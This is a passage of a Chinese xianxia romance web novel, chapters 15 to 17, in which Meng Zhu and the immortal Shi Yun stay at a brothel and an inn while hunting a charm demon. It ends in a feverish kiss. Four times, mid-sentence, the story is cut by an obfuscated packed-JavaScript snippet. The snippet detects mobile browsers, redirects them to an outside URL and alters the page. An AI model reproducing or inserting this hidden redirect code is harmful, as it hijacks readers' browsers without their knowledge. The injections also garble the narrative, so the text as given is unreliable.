这摄魂咒当真古怪。 现在想来,这些症状都和孟竹有关,尤其是方才,看见那些人的视线黏在孟竹身上,他心中那种不舒服的感觉越来越重,直到看到那双手搭在孟竹的腰上。 几乎是一瞬间,他脑中一片空白,只剩下一个想法。 ——他要废了那只手。 想起孟竹在男人怀里一脸呆愣的模样,心口处闷得发痛。 怎么?打他的时候毫不留情,腿都给他打断了,在别的男人怀里又像个柔软小白羊似的? 他看起来就这么好欺负吗? 要是他一眼看不住她,岂不是会有更多的人搭上她的腰,含住她的耳朵? 施允抬手,按向自己的心口,想象中的画面激得他双眼泛红,忍不住闭了闭眼。 “果然……肯定是因为摄魂咒。” 肯定是因为摄魂咒,他才会有这么重的杀意,这东西一定会让人走火入魔,他得尽快将这个东西解除。 稍微整理好了思绪,施允灵海中探了一下孟竹的方位,他在孟竹身上设了追踪术,不管她去哪里,他都能保证自己最快速度找到她。 发现孟竹还在寻芳苑中,他稍稍松了口气,正准备起身,就听见门被人叩响。 是月娘的声音。 “公子,我带了咱们寻芳苑的花魁姑娘来,您开门呀。” 玉秾站在门外,恳求地看了月娘一眼:“妈妈……您心疼我,别让我伺候这样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840297|159150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人吧。” 她方才从房间里就看到了施允杀气腾腾的一面,干她们这一行的,最怕遇上这种客人,一不小心没伺候好,轻则受点伤,重点的命都没了。 玉秾身为寻芳苑的头牌,比一般的姑娘过得要好得多,基本上只有达官显贵才做的了她的入幕之宾。 但眼下,月娘明明瞧见这人方才闹事,还铁了心叫自己来,这不是把她往火坑里推吗? 月娘听了她的话,拍了拍她的手以作安抚:“乖玉秾,妈妈怎么舍得叫你受伤,只是这人指名要你,妈妈也是没办法呀。” 出手就是五千两银子,这等金主定不是寻常人,要是成了常客,利用这人介绍来的人脉,她寻芳苑岂不是赚得盆满钵满? 月娘笑了一声,慢悠悠道:“放心吧,我的好孩子,以你的样貌身段,你将他伺候舒坦了,还愁男人不爱你吗?” 修道之人,五感皆比常人更加清明,门外的话一句不落地传入耳朵。 他忽然想起了孟竹,想起了那双黑白分明的眼睛,泡在冷泉中苍白的脸和湿润的唇,抱他时手指穿过他头发的触感。 不过都是女人,又有何不同? 下一秒,施允挥手将门打开。 门口的两人愣了下,月娘对着玉秾使了个眼色,然后把定在门口的玉秾往前一推,把门合上了。 玉秾战战兢兢往前挪了两步,抬眼看到了对面的人。 他随意地靠坐在桌案旁,正一手支颐看着她,面上没什么表情,既没有为她的样貌所惊艳,也没有想象中粗暴无礼的样子。 他只是安静地坐在那里,像一块华美的宝石,暗色的琉璃灯下,倒映出乌发柔顺起伏的光泽,诡谲而艳丽。 明明没有喝酒,玉秾却觉得此刻有些眼晕。 她那些害怕仿佛一瞬间就消失了,脚步往前挪了挪,声音软得像水:“公子,让奴来伺候您……” “哦?”他的嗓音低沉,像一阵电流淌过,让她的耳朵都在发麻,“怎么伺候?” 施允往后一靠,一只手搭在案上轻轻点了点,嗓音里溢出点意味不明的笑声:“我不太会。” 迎着他的视线,玉秾第一次觉得自己全身像是烧起来了似的。 他的话,他的嗓音,他含笑的眼睛,他的神态动作,都像是在她身上点了一把火,这火越烧越烈,快要将她吞噬了。 玉秾往前走了两步,情不自禁想要靠近他,却听到施允忽然笑了一声。 他明明在笑的。 可那双眼睛却黑沉沉的,像泥淖一样引人深陷。 “嗯?”施允指尖一抬,玉秾的脚步顿住,“我让你过来了吗?” 玉秾不知他是何意,只好站在原地,她见过许多形形色色的客人,也知道他们中有很多人有特殊的玩法。 她忽然会意,她不喜欢那些怪癖,但她喜欢面前这个男人。 所以今天,她心甘情愿地想要取悦他。 玉秾站在原地,慢慢动手脱下了身上轻薄的外衫,露出白嫩的肩膀和手臂,然后,送去一个挑逗的眼神,慢吞吞地开始解脖颈处的系带。 长发垂落在纤细的腰身上,水葱似的手指滑过自己的锁骨,慢慢伸进包裹着柔软丰满的小衣—— “滚。” 随着这道声音响起,玉秾连人带衣服一起被扔到了门外。 15. 第 15 章 孟竹化了男相以后,在寻芳苑简直如鱼得水,去哪儿都是畅通无阻。 她也不想回去看到施允,在外面溜达了半天,到处都是纠缠的男男女女,最后找了个最偏僻的屋子,靠着廊柱坐下休息。 没一会儿,屋里走出来个人,身形瘦瘦小小的,带着顶帽子,一转过脸来,和孟竹的视线对上了。 怎么说呢…… 这张脸上半边都是伤痕,是那种像被火烧烫过的痕迹,猛地一看还有点吓人,看打扮是个小男孩。 他肩上担了个扁担,挑着两个桶,看起来很沉,将他瘦小的身子压的微微弯折,他把扁担放下,转身关门。 回头的时候又看到孟竹,说起话来倒是细声细气的,“客人是迷路了吗?这里是处理夜香的地方,姐姐们都在前面。” 孟竹站起身,“没,随便逛逛。” 小男孩点点头,不欲多说,弯身去抬扁担,却被一只手先行拎了起来。 他看着孟竹,脸上有些不解,“客人这是何意?” 孟竹将扁担担在肩上,说:“锻炼身体。” 她又问:“你去哪儿?我正好消消食,没来过,到处逛逛。” 小男孩看了她一会儿,轻声道:“那地方太脏了,您去不合适。” 孟竹往前走,她个子比男孩高许多,腿也长,走起路来脚步如风,小男孩忙不迭跟在后面。 眼见着阻拦不了这位任性的客人,只好一边小跑着跟,一边给她指路。 倒了夜香以后,孟竹把空桶和扁担一起还给了他,男孩有些腼腆,道了句谢谢。 领着孟竹去水井边净手,孟竹一边洗手,一边笑看着他:“去忙吧,不必管我。” 男孩犹豫了一下,又道了几声谢谢,才转身消失在夜色中。 小个子小腿的,跑得倒是很快。 孟竹洗完手,看了眼天色,已经很晚了,但寻芳苑此刻正是热闹的时候,到处都是灯火辉煌的。 她也没处去,想了想,还是转身回去了。 推开门,施允还坐在原地,像是在发呆,见到孟竹进来,愣了一下,视线从她身上移开,抿着唇不说话。 孟竹也没理他,阿喜也不在房内,不知道干嘛去了,显然这趟找魅妖之行陷入了瓶颈。 也不知道还要在这青楼里住多久,水妖虽然能确定魅妖的位置,但魅妖极善于隐匿,一点儿妖气都没散出来,淹没在这一群姑娘中,像大海捞针似的。 两人僵持着,谁也没说话,只是到了晚上,这寻芳苑的某些声音越来越大,听得人面红耳赤。 这里显然不是一个适合住宿的落脚地。 时间一分一秒过去,让人如坐针毡,那声音一声一声往耳朵里钻。 还不如说点什么,让气氛不那么尴尬。 想着想着,孟竹的视线又飘到施允的身上去了,正好四目相对。 施允脸色冷冷的,“看什么?” 孟竹反问:“你不看我你怎么知道我在看你?” 他冷笑一声,“这房间是我出钱住的,我爱往哪看往哪看,管的着么你?” 孟竹有心缓和气氛,不理会他咄咄逼人的态度,点点头,道:“好吧,那我不看了。” 她说着,将头转过去,眼睛盯着墙面,当真一动不动了,像是打算将自己塑成一座石像。 也不知道施允是哪根筋没搭对,消停了一会儿,又问她:“那你到底看我干嘛?” 他一说话,孟竹就绕过桌沿换了个位置,正对着施允所在的方向,这回她也不避着了,存心盯着他看。 暧昧的喘息,被风吹动的纱帘,渐渐弥漫的暖香,到处都充满着爱欲旖旎的味道。 孟竹在一片昏暗的灯影下笑了笑,轻声道:“你好看呗。” 施允的唇抿成一条线,忽然不说话了。 她倒了杯茶,一边慢悠悠喝着,一边大大方方注视着施允,“咋了,还不准人看啊?” 本来是句活络气氛的话,但说完,看着看着,倒真是被眼前的人吸引了目光。 耳边的声响好像渐渐听不到了。 视线落在施允净白修长的指节,一寸寸向上看去,线条流畅的肩颈,微凸的喉结在孟竹的注视下轻轻一滚。 她不得不承认,确实好看。 施允垂下眼,偏过头,舌尖抵了下颊侧,半晌才道:“人长得丑,眼光还算不错。” 孟竹摸了摸自己的脸,“怎么会呢?应该还不错吧。” 毕竟当年上学的时候,还是有不少男生表白过的,怎么也算不上丑吧? 施允睨她一眼,唇边挤出浅浅的笑痕:“少自恋了。” 孟竹托着腮看他,也笑了:“是吧?” 论自恋,哪比得过你呀? 当然,这句话她没说出来,有时候她觉得施允这个人也挺有意思的,稍微逗逗反应就很有趣。 不知不觉的,气氛缓和下来。 睡觉肯定是睡不成了,孟竹提议:“要不要去吃点宵夜?” 在外面转了一天,还没吃什么东西,孟竹此刻是真的有点饿了,但说完,又想起施允是不与人同桌而食的。 说起来倒也真的离谱,她和施允相处了这么长时间,还没见过他吃饭的样子。 这个人毛病多得很,住店要住最好的,衣服也要每天换,洁癖,不喜欢别人碰,性格还拧巴,莫名其妙就会炸毛。 吃东西肯定也挑剔得很,不知道什么食物能入得了他矜贵的嘴巴。 这得是什么样的家庭才能养出这种性格啊? 孟竹暗自叹了口气,放弃拉人出门的想法,站起身准备出门觅食,却看见施允已经离开桌案,直直朝着门口走。 诶? 施允在门口站定,转过身看向还愣在桌边的孟竹,脸上还带着几分不耐烦,道:“磨蹭什么?不是要去吃宵夜?” 孟竹:“一起去?” 施允偏了偏头,用那种“不然呢?你在说什么废话”的眼神看了她一眼。 两人出了寻芳苑,夜风轻轻吹来,终于吹散了那股腻人的香粉味。 月色很亮,银色的光华倾泻而下,将两人的影子拖得很长。 晚上的街道上人并不多,零星走着几个,幸好还有着几个卖着夜宵的小摊,滚烫的热汤在空气里冒着白烟,孟竹循着香味往前走了没多久就到了一家馄饨摊。 老板很热情地招呼:“两位客官,吃馄饨吗?” 孟竹点点头,找了个看起来最干净的桌子坐下,她看了眼施允,这人站在原地一动不动,眉头皱得能夹死一只苍蝇。 “这种地方也能吃饭?”施允站得远远的,发出质疑的声音。 孟竹取了块干净的布,沾了茶壶里的水将桌子和凳子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840298|159150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都仔仔细细擦了一遍,然后又换了一块干的布反复又擦了两遍。 全部擦完以后,桌子已经锃光瓦亮了,她才抬头喊施允:“已经很干净了,过来吧。” 施允往前走了两步,视线在桌面和凳子上扫了一眼,才坐了下来,袖子都没碰到桌面,平平地放在自己的大腿上。 孟竹没空管他,自顾自忙活,用热水将筷子烫了两遍,又用干净的白布细细擦了几遍,才递给施允,“很干净了。” 他没接,手抬起来在桌面上虚空一点,桌子上便出现了一副崭新的碗筷。 啧。 孟竹将举着筷子的手默默收了回去,晚上没什么客人,很快,两碗热腾腾的馄饨就送上了桌。 这馄饨皮薄馅大,个个肉馅饱满,白汤清透,上面撒了些翠嫩的葱花,勾得人馋指大动。 饿了一天的孟竹埋头吃了起来,她不挑食,吃什么都挺香的,小时候是没那条件,长大后倒也习惯了,有什么吃什么。 她吃了几个才发现施允坐在那里一动不动,“怎么了?” “我不吃葱。”他像是败了兴致,整个人透着一股淡淡的疲懒和厌烦。 孟竹看了眼他碗里的葱花,从旁边拿了个醋碟,拿着施允那双没动过的筷子一点点从碗里挑出来。 从前霍予也不爱吃葱,每次在外面吃饭要是忘记说,她就会帮霍予这样一点点挑掉,对待霍予,她向来很有耐心。 漆黑的一双眼,含着若有若无的探究。 她的动作很利索,也很熟练,很快就将那碗里的葱花全部挑干净了。 孟竹隔着一片雾气抬眼对他笑了笑,黑白分明的眼睛落了些星光,她晃了晃手中的筷子,道:“筷子我摸过了,我帮你擦下。” 孟竹的手刚摸到布料—— 忽然,施允伸手从她手中接走了那双筷子,道:“不必。” 这回,他终于开始慢条斯理地吃那碗馄饨,他吃饭的样子很好看,举手投足间,仿佛吃的并不是路边的馄饨,而是什么宫廷御膳。 孟竹吃饭很快,没一会,她的碗就见底了,施允那边早就已经停了筷子,他吃得很少,一碗馄饨基本上没怎么动。 “走吧。”孟竹道,说是这么说,但回去的目的地只有一个。 想起那一阵阵的靡靡之音,她的太阳穴就一下下抽着疼,走着走着,孟竹的脚步停住了。 “我不回去了。”她指了指身边的客栈,身上的钱足够她歇一晚的,“我就住这里。” 这里离寻芳苑不远,步行几分钟就能到。 施允没吭声,孟竹道了声:“再见。”然后迈入了客栈的门。 守夜的小二一见孟竹,摆了摆手,道:“客满了。” 说完,他伸手想给孟竹指路附近的客店,一探出头,却发现施允站在门外,他对施允的长相格外有印象,一眼就认了出来。 这人出手阔绰,虽然要求多了点,但赏钱给得也不少,小二喜欢这样的客人,因此也格外上心些。 他笑着招呼施允:“诶?客官您回来了?一间最好的上房还给您留着呢,我保证,打扫得绝对干净。” 什么时候,施允来订的这间房? 孟竹慢慢转过身,看着离她几步之遥的施允,他站在月光下,站在光暗交接的阴影里。 迎着晚风,他轻轻笑了一下,说:“呆子。” 16. 第 16 章 施允只订了一间房,显然他和阿喜留在寻芳苑还有事要做,孟竹这个半入门的新手也掺和不上,何况三个人同处一室,在那种地方,确实有种难言的尴尬。 不用处在那种奇怪的环境中,孟竹松了口气。 莫名觉得,施允这个人真的很奇怪,有时候很让人生气,有时候又让人觉得…… 他和霍予是截然不同的两种人,她更习惯霍予润物细无声的陪伴,但是施允让人觉得存在感太过强烈,色彩浓丽绚烂到让人无法忽视。 想到霍予,孟竹忽然惊觉,她已经很长时间没有这么仔细地想起过他了。 是从什么时候开始的呢? 明明从小到大,他们几乎是形影不离的两个人,从来没有分开过这么长的时间。 孟竹闭上眼,她不愿多想。 第二天一早,天色阴阴沉沉的,是要下雨的样子。 孟竹出了客栈,在外面买了两个包子,一边吃一边晃晃悠悠往寻芳苑走,吃着吃着,迎面就撞上来一个煤球似的人。 孟竹觉得那个人身影有些熟悉,在他要摔倒之前一把拽住了那人的胳膊,“没事吧?” 那人把脸抬起来,正是昨天晚上见过的那个男孩,一双眼睛红通通的,像受了惊的兔子。 “怎么了?”孟竹问。 他说话结结巴巴的,显然是急坏了,“我……奶奶她……” 越急越说不出来。 孟竹皱了皱眉,拉着他的手,道:“别急,带我去看看。” 男孩被她牵着,眼泪唰的一下就流了下来,一边抽泣,一边走。 他住的地方不远,就在寻芳苑后面的一个小巷子里,屋里陈设简陋,因为阴天,大白天也是昏昏暗暗的,一开门,一股陈旧腐朽的味道混合着一股淡淡的药味扑面而来。 男孩松开孟竹的手,朝着床边小跑过去,床上躺了个白发苍苍的老人,正喘着粗气,已经是出气多进气少的样子了,声音像是老旧嘶哑的风箱似的。 他从袖子里取了瓶药,抖着手往老人嘴里倒了两粒,一边掉眼泪一边道:“吃了……吃了就好了……” 可是老人依然丝毫没有起色,连喘气的声音都渐渐微弱下来。 孟竹在灵海内快速过了一遍术法,她坐在床边,手按住老人的胸口,将灵力渡入。 渐渐地,老人的呼吸平稳下来,她偏头看了伏在床边的男孩一眼,笑着抬手揉了揉他的脑袋,声音还是嘶哑的:“照水,不哭了啊,奶奶没事。” 孟竹松了口气,还好这次没失败。 老人抬眼看向孟竹,浑浊的眼睛里带着点感激的笑意,道:“这位公子,多谢你了。” 她愣了一下,而后忽然想起自己脸上的幻形术还没解开,便应了声:“没事。” 老人的脉搏微弱,孟竹看得出来,老人已经是寿数将近了,就算她用灵力暂时稳住了她的心脉,也不过多几日的光景。 她的体力不支,一天中几乎大半的时间都在昏睡,眼下只说了不过几句话,又沉沉地睡了过去。 这种卧床的老人,到最后已经生活不能自理,吃喝拉撒都在床上,毫无生活质量可言。 照水一直握着老人的手,忽然道:“我知道奶奶就要死了,我也知道她过得很难受,可是我没办法,我就想她再陪我一段时间。” 孟竹看着他,不知道该说些什么,只伸手摸了摸他的头。 轰隆—— 屋外雷声响起,要下雨了。 她起身准备离开,却被照水忽然揪住了衣摆,他抬起一双湿漉漉的眼睛,轻声问她:“你要走了吗?” 孟竹点点头。 照水沉默半晌,揪住她衣摆的手却没有松开。 望着那双沉默的眼睛,孟竹叹了口气,道:“不走。” 而后她环视了一圈,问照水:“吃饭了吗?” 照水摇了摇头。 想着一会儿老人醒过来也得吃点东西,孟竹在灶台边上转了一圈,基本上没什么东西,她用锅煮了碗米粥,里面搁了点切得碎碎的菜叶子,将剩下的青菜炒了炒,又煮了盘豆子,她的动作很利索,没多长时间就弄好了。 照水一直跟在她旁边,他看起来年纪不大,就十二三岁的样子,瘦瘦小小的,站在一旁不注意的话,基本上没什么存在感。 外面下起了雨,雨声哗哗作响,滚珠似的砸落在屋檐上。 两人一起坐在桌边吃饭,虽然没什么油水,也没什么好东西,只是一盘青菜、一碟豆子,就着稀薄的米粥,照水吃得很香。 期间老人短暂地醒过一次,照水给她喂了点米粥,老人很快又睡下了。 孟竹没怎么饿,就看着照水吃,他吃着吃着,忽然问道:“你会一直留在这里吗?” “不会。”孟竹看了眼床上的老人,道:“我走了。” 照水指了指窗外,道:“外面在下雨。”说完,他起身拿下了挂在墙上的斗笠递给孟竹。 孟竹伸手接过,说了句谢谢,没再继续耽搁,转身离开。 这条巷子阴暗狭窄,要一路走到头出了巷子口才能到前面的寻芳苑,在这里耽误了大半天,坑坑洼洼的路面已经积了不少水。 孟竹低着头小跑着向前,溅起一路的水花,快要出巷子口的时候,她的脚步停住了。 无人的小巷里,雨声嘈嘈切切,天地间似乎只剩下了耳边的滴答声。 最先映入眼帘的,是一双黑色的长靴,溅起的泥水弄湿了干净的鞋面,红色的衣摆上带着湿润的水雾,再往上,骨节分明的手执着一把油纸伞。 斗笠上的积水顺着帽檐一滴滴滚落,她隔着断线似的雨帘,看向了那张在雨雾中显得格外朦胧的脸。 “……你怎么在这里?” 雨水打在伞面上,遮住了孟竹被淋湿的肩膀,施允淡淡开口道:“散步。” 看着地面的水坑里不断被溅起的泥水,孟竹道:“挺别致的爱好。” 因为共撑一伞,两人的距离很近,孟竹跟着他一同往前走,摘下了遮挡视线的斗笠,道:“早上出门的时候碰到了个小孩子,家里奶奶生病了,我看他挺着急的,人又小,便跟过来看了看。” “有必要解释吗?”他平视着前方,“我管你去做什么。” “哦。”孟竹抬手擦了擦颈侧被雨水打湿的地方,道:“你大概不知道,我有个习惯,喜欢自言自语。” 施允捏着伞柄的手轻轻转了转,溅落在伞面的雨滴像无形的花,层层叠叠,顺着伞沿落下。 走着走着,孟竹的视线内出现一块干净的方帕。 白色的、柔软的,被人叠得很平整。 捏着方帕的手指骨节分明,莹润如玉,指甲修剪得很干净,弧度圆润,透着健康的淡粉色。 施允的手很漂亮,如果生活在她的世界那边,应该很适合弹钢琴。 大概是因为下雨,他的声音听得并不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849907|159150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那么真切:“擦一下。” “像落水狗,很丑。” 这句她听清了,就知道施允嘴里说不出什么好话。 孟竹伸手去接,手指刚刚抓住方巾的一角,施允的脚步却突然停了下来。 因为身高的差距,她只能抬头去看施允。 他低垂着眼睫,视线落在她手上的一处红痕上,上面还带着一点深黑色的淤青,像是锁链一样缠绕在她的手腕上。 孟竹忽然想起来,那是她在照水家用炉子烧水时不小心被烫到的,此刻已经没什么感觉了,她不甚在意地想要抽出施允手中的方帕。 没扯动。 “施允?”孟竹有些疑惑地抬眼看他。 伞面在他眉眼处落下一层淡淡的阴影,让人看不清他眼底的神色,他似乎在发呆。 孟竹正打算收回手,他的手指却越过方巾,捏住了她的指尖。 施允的手指和他那张瑰艳的脸不同,似乎总是凉的。 “怎么弄的?”他问。 “……只是不小心。” 施允低低地“嗯”了一声,拇指擦过她手背上的那道红痕,轻轻地、来回摩挲着。 有些痒,孟竹忍不住往后瑟缩了一下。 手被松开了,她低头去看,那一处的红痕已经消失得无影无踪。 “……多谢。” 孟竹拿起手帕正准备擦干颈侧的雨水,忽然又想起什么,她重新将方帕递给施允,道:“要擦一下吗?” 正要抬脚往前走的施允闻言皱眉:“擦什么?” 她站在原地看着施允,他撑着伞,亦垂眸凝视着她。 不远不近的距离,半步之遥。 她的视线落在施允的一侧肩膀,雨水在衣料上洇开,变成了深浅不一的红。 她这才发现。 原来伞面,是倾斜的。 孟竹心中忽然涌起了一个奇怪的想法。 几乎没有经过大脑思考,她脱口而出:“施允,你不会喜欢我吧?” 时间的流速仿佛一瞬间变得格外缓慢。 半晌,施允抬手捂住自己的脸,笑声从他的指间低低地溢了出来。 他仿佛听到了什么极为好笑的笑话,连腰都笑得微微弯了弯。 “我说……”他放下手,垂眼看着孟竹:“你好像挺喜欢自作多情?” “因为你总是做一些让人误解的举动啊。” 孟竹道:“如果不是因为喜欢我,那是因为什么?” 施允盯着那双透亮的眼睛,脑中的思维变得有些缓慢,因为什么? 当然是因为……摄魂咒。 他对她那些在意,自然都是因为摄魂咒。 “因为?”施允顿了一下,“男人的风度?” 孟竹显而易见地松了口气,笑道:“那就好。” 她可不想在这个世界留下什么羁绊。 看见她松了口气的模样,施允静了片刻,忽然面无表情道:“我讨厌所有麻烦的事情。” “比如被人误会,比如你自以为是的样子,比如……”他没有继续说下去,但孟竹听出了他的言外之意。 比如你。 孟竹不甚在意地耸了耸肩膀,道:“知道知道,我尽量不碍你的眼,好吧?” “很快了……”施允忽然道。 “什么很快了?” “没什么。”施允移开眼,不再看她,说:“回去吧。” 17. 第 17 章 施允让孟竹去了客栈,独自一人回到寻芳苑。 他将那把油纸伞随意扔到门外,拿出锦帕将沾着雨露的手指一根根擦拭干净。 寻芳苑内依旧热闹,在这里住了几日,寻芳苑的姑娘们见到他已经不会再贴上来了。 这是个奇怪的客人,不喜欢姑娘,把这里当客店住,连最红的头牌玉秾姑娘都在他身上栽了跟头。 施允面无表情地上楼,路过的人下意识地会为他让出一条路来,他脸上的表情太冷,浑身散发着一股生人勿近的凌厉气势。 一直到最顶层,这里已经被施允包了下来,没有了那些莺莺燕燕和奇奇怪怪的声音。 空荡荡的,很安静。 推开房间的门,施允坐在软榻上,他伸手去拿桌上的茶盏,没拿稳,啪地一声落在地上,摔碎了。 施允盯着地面上裂开的碎片看了很久。 “阿喜。” 他的声音响起,一阵水雾从窗外飘了进来,渐渐凝成人形。 “主人。” “还是没有魅妖的踪迹吗?” “没有,我已经将范围扩大到整个临城,没有探查到一丝一毫的妖气,恐怕这个魅妖不简单,妖力甚至在我之上。” 阿喜停了一下,又道:“魅妖这样妖力低微的族类,能有这样的本事,除非——” 施允抬眸:“他吃了玲珑心。” “是。” “呵。”施允嗤笑一声,身子向后靠,仰头舒了口气,两只手搭在岔开的长腿上:“我说呢。” “真有意思。” 他抬手,手指尖的灵光亮起,密密麻麻的灵流如同细密丝线一样铺开,像是无限繁殖的树根一样,以这个房间为中心,灵流像一张巨大的网,瞬间蔓延至整个临城。 铺天盖地的灵压骤然袭来,阿喜受不住,捂着胸口吐了口血出来。 修长的手指一根根握拢,像是逗弄猎物一样轻轻一扯。 “这么喜欢藏,那我陪他玩玩。” - 不知道是不是孟竹的错觉,这几日她照例去寻芳苑找人,月娘却告诉她施允并不在。 没有人知道他去了哪里,连阿喜都不见了。 他离开了?不告而别? 孟竹说不清心里是什么滋味,说到底,她跟着施允,是因为想从他身上得到关于仙洲的消息,想让自己的路走得更顺利一些,她承认,她对他别有用心。 那施允呢,他究竟为何一时兴起要带着她一起上路,而现在,是不是又厌倦了带着一个拖后腿的包袱? 她不知道,她对施允一无所知。 她没有必要再用幻形术伪装自己,也没有必要再去寻芳苑了, 孟竹睡得并不安稳,外面暴雨如注,伴随着阵阵惊雷,临城的这场雨下了很久。 她在做梦。 梦里,无边无际的黑,她像是溺在了深海里,黑色的潮水渐渐漫过了她的头顶。 燥热、粘稠的热意裹挟着她,眉头紧锁着,她挣扎着想从梦中醒过来,可是就像是梦魇一样,明明已经使出了全身力气,整个人动弹不得,不断地陷入更深的黑暗中。 “好热……” 迷迷糊糊间,费力掀起一点眼皮的孟竹看到了床边站着的一道黑色的影子。 窗外一道闪电亮起,照得室内一瞬间亮如白昼,孟竹看到了隐在发间的那双瞳仁。 纯黑色的,没有一丝眼白,像是两个漆黑的暗洞。 他的头发极长,垂至脚踝,那些头发像是妖异的海草,在他身后不断生长着,迅速纠缠住孟竹的四肢,整张床上一瞬间被黑色的发丝铺满,像蜘蛛捕猎时织就的一张网。 孟竹在彻底失去意识之前,顺着困着她手腕的发丝用力扯了一下。 啊—— 那道影子身体一歪,发出刺耳的尖叫声,头发被扯落了一地,还有一把被孟竹握在手心里。 看着已经彻底昏过去的孟竹,他俯身—— “你胆子是真肥。”耳后一道森冷的声音传来。 “受了这么重的伤还敢惦记她。” 下一秒,胸口传来剧烈的痛感,他被人一脚踹翻,后背撞在墙上,本来就受了伤的身体更加不堪一击,不停地往外吐血。 “主人……”阿喜从窗外飘了进来,苦口婆心道:“不能再打了。” 施允横他一眼。 阿喜嘴巴动了动,还是大着胆子开口:“那什么……再打真死了。” “好不容易才抓到的。” “我有说我要杀他么?”施允看了眼床上的孟竹,似乎已经睡过去了,并没有什么异样。 他问那人:“你跑什么?” 阿喜撇撇嘴,有些同情地看着趴在地面上不停呕血的魅妖。 就你那抓人的架势,搁谁谁不跑啊? 床上的孟竹挣扎着翻了个身,施允以为她要醒了,站得远了些。 她一翻身,施允才发现孟竹脸上潮红一片,像是被煮熟了的虾子,就连呼吸声,也比平时重了许多。 施允面带疑惑地打量了一会儿,才转过脸来问魅妖:“喂,你对她做什么了?” 他检查了下,孟竹身上并没有什么伤口,那道被魅妖标记的淤痕也已经被他清除,想来应该无事。 魅妖没回答他的问题,刚要张嘴,从嘴里吐出了个血泡泡,两眼一翻,晕了过去。 “……” 阿喜一言难尽地看了施允一眼,伸手把魅妖扛了起来,道:“我先带他去治一下。” 他的视线往后稍稍,看向了躺在床上的孟竹,又看了一眼一脸淡定中透着些许不耐的施允。 跟了施允这么些日子,他也算是稍稍有那么了解了点面前这位看起来心黑手狠的仙君大人。 在寻芳苑的这些天,无论是多么水嫩美艳的姑娘,他那眼神,就跟看一根水嫩的大葱没什么区别,十分不解风情。 想来他当初会中摄魂咒,大概就是因为对这些方面的东西涉猎甚少。 或许在他眼中,只有杀伤力极强的招式才会被他看在眼里。 阿喜犹豫道:“我觉得……孟姑娘她……” 孟竹脸颊泛红,无意识地嘟囔了一声:“好热……” “很热?”施允皱眉:“这屋里有这么热吗?” 阿喜咂了咂嘴,闭上嘴扛着人出去了,他转身将门合上,迎面正碰上店里的小二。 “刚刚听到一声叫喊,发生什么事了,客官?” 小二的视线又落到阿喜的肩头:“……您这是?” “哦……”阿喜笑着一手搭上小二的肩膀,揽着人往外走:“没事没事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856192|159150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我家小兄弟吃错了东西,我正要带他去找大夫……” 屋内,施允听着床上不停喃喃着“好热好热”的声音,看了眼在床上把自己快拧成麻花一样的孟竹,揉了揉额心,起身将窗户打开。 外面还在下雨,窗户一开,一阵风带着湿润的雨雾刮了进来,有一些雨水溅到了地面上。 好吧,这种天气确实不适合开窗。 手一挥,他又把窗户合上了,呼啸的风声和雨声减小,室内重新恢复安静。 施允站在床边,垂眼去看躺着的人。 被子被她一脚踢到了旁边,脸压在枕头上,一只手搭在床沿,另一只腿屈起来,睡姿看起来相当舒坦随意,却又极为不雅。 看着看着,他忽然心生不满。 杀死魅妖很容易,但这魅妖为了逃离他的千丝引魂阵不停地附到各种人身上,活捉难度高,极为油滑难抓。 在外面辛辛苦苦,风里来雨里去,走之前,他还付清了剩余几日的房费,结果一回来,看到孟竹睡得不醒人事的模样—— 连个最起码的问候都没有吗? “醒醒。”施允伸手,开始推孟竹的肩膀。 孟竹一动不动。 “睡得真死……”施允推她的力度加大了些,“你醒……” 他的话没说完,手腕被人反手扣住,滚烫的身体压了上来。 看着面前距离极近的脸,她的睫毛几乎擦着他的脸颊滑过,很痒。 鼻尖抵着鼻尖,是一个耳鬓厮磨的姿势,炙热的呼吸细细密密地喷吐在他的脸颊、唇畔、耳廓,引起一阵莫名的战栗。 下一刻,她的唇覆了上来。 